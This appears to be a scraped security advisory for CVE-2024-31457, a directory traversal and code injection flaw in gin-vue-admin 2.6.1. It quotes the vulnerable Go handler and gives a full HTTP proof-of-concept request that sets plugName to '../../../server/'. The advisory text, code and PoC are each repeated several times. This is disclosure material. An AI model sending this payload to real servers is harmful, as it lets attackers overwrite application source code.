CVE-2024-31457

gin-vue-admin is a backstage management system based on vue and gin, which separates the front and rear of the full stack. gin-vue-admin pseudoversion 0.0.0-20240407133540-7bc7c3051067, corresponding to version 2.6.1, has a code injection vulnerability in the backend. In the Plugin System -> Plugin Template feature, an attacker can perform directory traversal by manipulating the plugName parameter. They can create specific folders such as api, config, global, model, router, service, and main.go function within the specified traversal directory. Moreover, the Go files within these folders can have arbitrary code inserted based on a specific PoC parameter. The main reason for the existence of this vulnerability is the controllability of the PlugName field within the struct. Pseudoversion 0.0.0-20240409100909-b1b7427c6ea6, corresponding to commit b1b7427c6ea6c7a027fa188c6be557f3795e732b, contains a patch for the issue. As a workaround, one may manually use a filtering method available in the GitHub Security Advisory to rectify the directory traversal problem.

gin-vue-admin is a backstage management system based on vue and gin, which separates the front and rear of the full stack. gin-vue-admin pseudoversion 0.0.0-20240407133540-7bc7c3051067, corresponding to version 2.6.1, has a code injection vulnerability in the backend. In the Plugin System -> Plugin Template feature, an attacker can perform directory traversal by manipulating the plugName parameter. They can create specific folders such as api, config, global, model, router, service, and main.go function within the specified traversal directory. Moreover, the Go files within these folders can have arbitrary code inserted based on a specific PoC parameter. The main reason for the existence of this vulnerability is the controllability of the PlugName field within the struct. Pseudoversion 0.0.0-20240409100909-b1b7427c6ea6, corresponding to commit b1b7427c6ea6c7a027fa188c6be557f3795e732b, contains a patch for the issue. As a workaround, one may manually use a filtering method available in the GitHub Security Advisory to rectify the directory traversal problem.

Impact

"gin-vue-admin<=v2.6.1 has a code injection vulnerability in the backend. In the Plugin System -> Plugin Template feature, an attacker can perform directory traversal by manipulating the 'plugName' parameter. They can create specific folders such as 'api', 'config', 'global', 'model', 'router', 'service', and 'main.go' function within the specified traversal directory. Moreover, the Go files within these folders can have arbitrary code inserted based on a specific PoC parameter."

Affected code: https://github.com/flipped-aurora/gin-vue-admin/blob/746af378990ebf3367f8bb3d4e9684936df152e7/server/api/v1/system/sys_auto_code.go:239. Let's take a look at the method 'AutoPlug' within the 'AutoCodeApi' struct.

func (autoApi *AutoCodeApi) AutoPlug(c *gin.Context) {
	var a system.AutoPlugReq
	err := c.ShouldBindJSON(&a)
	if err != nil {
		response.FailWithMessage(err.Error(), c)
		return
	}
	a.Snake = strings.ToLower(a.PlugName)
	a.NeedModel = a.HasRequest || a.HasResponse
	err = autoCodeService.CreatePlug(a)
	if err != nil {
		global.GVA_LOG.Error("预览失败!", zap.Error(err))
		response.FailWithMessage("预览失败", c)
		return
	}
	response.Ok(c)
}

The main reason for the existence of this vulnerability is the controllability of the PlugName field within the struct.

type AutoPlugReq struct {
	PlugName    string         `json:"plugName"` // 必然大写开头
	Snake       string         `json:"snake"`    // 后端自动转为 snake
	RouterGroup string         `json:"routerGroup"`
	HasGlobal   bool           `json:"hasGlobal"`
	HasRequest  bool           `json:"hasRequest"`
	HasResponse bool           `json:"hasResponse"`
	NeedModel   bool           `json:"needModel"`
	Global      []AutoPlugInfo `json:"global,omitempty"`
	Request     []AutoPlugInfo `json:"request,omitempty"`
	Response    []AutoPlugInfo `json:"response,omitempty"`
}

POC：

POST /api/autoCode/createPlug HTTP/1.1
Host: 192.168.31.18:8080
Content-Length: 326
Accept: application/json, text/plain, */*
x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiNzJlZWQ4OTUtYzUwOC00MDFiLWIyYzQtMTk2MWMyOTlkOWNhIiwiSUQiOjEsIlVzZXJuYW1lIjoiYWRtaW4iLCJOaWNrTmFtZSI6Ik1yLuWlh-a3vCIsIkF1dGhvcml0eUlkIjo4ODgsIkJ1ZmZlclRpbWUiOjg2NDAwLCJpc3MiOiJxbVBsdXMiLCJhdWQiOlsiR1ZBIl0sImV4cCI6MTcxMjIxMTM4MywibmJmIjoxNzExNjA2NTgzfQ.uq61pJNi4kzUXb8lEkVa7NBCBvp_Ye59fee-TJV_rpE
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
x-user-id: 1
Content-Type: application/json
Origin: http://192.168.31.18:8080
Referer: http://192.168.31.18:8080/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,ja;q=0.6
Cookie: x-token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiNzJlZWQ4OTUtYzUwOC00MDFiLWIyYzQtMTk2MWMyOTlkOWNhIiwiSUQiOjEsIlVzZXJuYW1lIjoiYWRtaW4iLCJOaWNrTmFtZSI6Ik1yLuWlh-a3vCIsIkF1dGhvcml0eUlkIjo4ODgsIkJ1ZmZlclRpbWUiOjg2NDAwLCJpc3MiOiJxbVBsdXMiLCJhdWQiOlsiR1ZBIl0sImV4cCI6MTcxMjIyMDA4NiwibmJmIjoxNzExNjE1Mjg2fQ.XVV97Ky17E9pUO_byVgK--FnAp9ye4Tpab2jnma6dBU
Connection: close

{"plugName":"../../../server/","routerGroup":"111"	,"hasGlobal":true,"hasRequest":false,"hasResponse":false,"global":[{"key":"1","type":"1","desc":"1"},{"key":"type","value":"faspohgoahgioahgioahgioashogia","desc":"1","type":"string"}],"request":[{"key":"","type":"","desc":""}],"response":[{"key":"","type":"","desc":""}]}

By performing directory traversal and creating directories such as api, config, global, model, router, and service within the gin-vue-admin/server directory, an attacker can tamper with the source code and the main.go file. They can potentially overwrite or tamper with the Go source code files located in the directory C:\代码审计\server to further compromise the system. …

gin-vue-admin is a backstage management system based on vue and gin, which separates the front and rear of the full stack. gin-vue-admin pseudoversion 0.0.0-20240407133540-7bc7c3051067, corresponding to version 2.6.1, has a code injection vulnerability in the backend. In the Plugin System -> Plugin Template feature, an attacker can perform directory traversal by manipulating the plugName parameter. They can create specific folders such as api, config, global, model, router, service, and main.go function within the specified traversal directory. Moreover, the Go files within these folders can have arbitrary code inserted based on a specific PoC parameter. The main reason for the existence of this vulnerability is the controllability of the PlugName field within the struct. Pseudoversion 0.0.0-20240409100909-b1b7427c6ea6, corresponding to commit b1b7427c6ea6c7a027fa188c6be557f3795e732b, contains a patch for the issue. As a workaround, one may manually use a filtering method available in the GitHub Security Advisory to rectify the directory traversal problem.

gin-vue-admin is a backstage management system based on vue and gin, which separates the front and rear of the full stack. gin-vue-admin pseudoversion 0.0.0-20240407133540-7bc7c3051067, corresponding to version 2.6.1, has a code injection vulnerability in the backend. In the Plugin System -> Plugin Template feature, an attacker can perform directory traversal by manipulating the plugName parameter. They can create specific folders such as api, config, global, model, router, service, and main.go function within the specified traversal directory. Moreover, the Go files within these folders can have arbitrary code inserted based on a specific PoC parameter. The main reason for the existence of this vulnerability is the controllability of the PlugName field within the struct. Pseudoversion 0.0.0-20240409100909-b1b7427c6ea6, corresponding to commit b1b7427c6ea6c7a027fa188c6be557f3795e732b, contains a patch for the issue. As a workaround, one may manually use a filtering method available in the GitHub Security Advisory to rectify the directory traversal problem.

Impact

"gin-vue-admin<=v2.6.1 has a code injection vulnerability in the backend. In the Plugin System -> Plugin Template feature, an attacker can perform directory traversal by manipulating the 'plugName' parameter. They can create specific folders such as 'api', 'config', 'global', 'model', 'router', 'service', and 'main.go' function within the specified traversal directory. Moreover, the Go files within these folders can have arbitrary code inserted based on a specific PoC parameter."

Affected code: https://github.com/flipped-aurora/gin-vue-admin/blob/746af378990ebf3367f8bb3d4e9684936df152e7/server/api/v1/system/sys_auto_code.go:239. Let's take a look at the method 'AutoPlug' within the 'AutoCodeApi' struct.

func (autoApi *AutoCodeApi) AutoPlug(c *gin.Context) {
	var a system.AutoPlugReq
	err := c.ShouldBindJSON(&a)
	if err != nil {
		response.FailWithMessage(err.Error(), c)
		return
	}
	a.Snake = strings.ToLower(a.PlugName)
	a.NeedModel = a.HasRequest || a.HasResponse
	err = autoCodeService.CreatePlug(a)
	if err != nil {
		global.GVA_LOG.Error("预览失败!", zap.Error(err))
		response.FailWithMessage("预览失败", c)
		return
	}
	response.Ok(c)
}

The main reason for the existence of this vulnerability is the controllability of the PlugName field within the struct.

type AutoPlugReq struct {
	PlugName    string         `json:"plugName"` // 必然大写开头
	Snake       string         `json:"snake"`    // 后端自动转为 snake
	RouterGroup string         `json:"routerGroup"`
	HasGlobal   bool           `json:"hasGlobal"`
	HasRequest  bool           `json:"hasRequest"`
	HasResponse bool           `json:"hasResponse"`
	NeedModel   bool           `json:"needModel"`
	Global      []AutoPlugInfo `json:"global,omitempty"`
	Request     []AutoPlugInfo `json:"request,omitempty"`
	Response    []AutoPlugInfo `json:"response,omitempty"`
}

POC：

POST /api/autoCode/createPlug HTTP/1.1
Host: 192.168.31.18:8080
Content-Length: 326
Accept: application/json, text/plain, */*
x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiNzJlZWQ4OTUtYzUwOC00MDFiLWIyYzQtMTk2MWMyOTlkOWNhIiwiSUQiOjEsIlVzZXJuYW1lIjoiYWRtaW4iLCJOaWNrTmFtZSI6Ik1yLuWlh-a3vCIsIkF1dGhvcml0eUlkIjo4ODgsIkJ1ZmZlclRpbWUiOjg2NDAwLCJpc3MiOiJxbVBsdXMiLCJhdWQiOlsiR1ZBIl0sImV4cCI6MTcxMjIxMTM4MywibmJmIjoxNzExNjA2NTgzfQ.uq61pJNi4kzUXb8lEkVa7NBCBvp_Ye59fee-TJV_rpE
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
x-user-id: 1
Content-Type: application/json
Origin: http://192.168.31.18:8080
Referer: http://192.168.31.18:8080/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,ja;q=0.6
Cookie: x-token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiNzJlZWQ4OTUtYzUwOC00MDFiLWIyYzQtMTk2MWMyOTlkOWNhIiwiSUQiOjEsIlVzZXJuYW1lIjoiYWRtaW4iLCJOaWNrTmFtZSI6Ik1yLuWlh-a3vCIsIkF1dGhvcml0eUlkIjo4ODgsIkJ1ZmZlclRpbWUiOjg2NDAwLCJpc3MiOiJxbVBsdXMiLCJhdWQiOlsiR1ZBIl0sImV4cCI6MTcxMjIyMDA4NiwibmJmIjoxNzExNjE1Mjg2fQ.XVV97Ky17E9pUO_byVgK--FnAp9ye4Tpab2jnma6dBU
Connection: close

{"plugName":"../../../server/","routerGroup":"111"	,"hasGlobal":true,"hasRequest":false,"hasResponse":false,"global":[{"key":"1","type":"1","desc":"1"},{"key":"type","value":"faspohgoahgioahgioahgioashogia","desc":"1","type":"string"}],"request":[{"key":"","type":"","desc":""}],"response":[{"key":"","type":"","desc":""}]}

By performing directory traversal and creating directories such as api, config, global, model, router, and service within the gin-vue-admin/server directory, an attacker can tamper with the source code and the main.go file. They can potentially overwrite or tamper with the Go source code files located in the directory C:\代码审计\server to further compromise the system. …

Gin-vue-admin has a code injection vulnerability in the backend. In the Plugin System -> Plugin Template feature, an attacker can perform directory traversal by manipulating the 'plugName' parameter. They can create specific folders such as 'api', 'config', 'global', 'model', 'router', 'service', and 'main.go' function within the specified traversal directory. Moreover, the Go files within these folders can have arbitrary code inserted based on a specific PoC parameter.